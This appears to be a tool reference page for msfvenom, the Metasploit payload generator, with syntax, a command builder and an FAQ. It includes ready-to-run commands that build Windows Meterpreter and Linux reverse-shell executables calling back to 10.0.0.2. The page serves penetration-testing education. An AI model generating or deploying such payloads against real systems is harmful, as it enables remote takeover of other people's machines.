msfvenom
Generate and encode payloads.
KaliParrothigh
pkg: metasploit-framework
msfvenom builds standalone payloads (shells, Meterpreter) in many formats and architectures, with optional encoding.
Syntax
msfvenom -p {payload} LHOST=.. LPORT=.. -f {fmt} -o {out}
Example
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.2 LPORT=4444 -f exe -o shell.exe
Creates a Windows reverse-Meterpreter EXE that calls back to 10.0.0.2:4444.
Options & flags
What each switch does. Toggle them in the builder below to assemble a command.
Command builder
Tick options (and fill any values) to build a ready-to-copy command.
msfvenom
Usage examples
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.2 LPORT=4444 -f exe -o shell.exe
Windows reverse-Meterpreter EXE.
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.2 LPORT=443 -f elf -o sh.elf
Linux reverse shell.
Advantages
- Huge payload/format matrix
- Encoders and bad-char handling
- Pairs directly with msfconsole handlers
Disadvantages
- Default output is AV-flagged
- Needs a matching listener
- Easy to misuse
Tags
#payload#metasploit
Official docs: msfvenom ↗
Related commands
Frequently asked questions
What is msfvenom used for?
msfvenom builds standalone payloads (shells, Meterpreter) in many formats and architectures, with optional encoding.
What is an example msfvenom command?
A common example is: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.2 LPORT=4444 -f exe -o shell.exe — Creates a Windows reverse-Meterpreter EXE that calls back to 10.0.0.2:4444.
Is msfvenom part of Kali Linux?
Yes. msfvenom ships with Kali Linux (and Parrot OS). If missing, install it with: sudo apt install metasploit-framework.
What category of security tool is msfvenom?
msfvenom is a Exploitation tool with a high-risk profile when run against a live target.
Try recon tools live
Run real scans against a domain you control, stage by stage.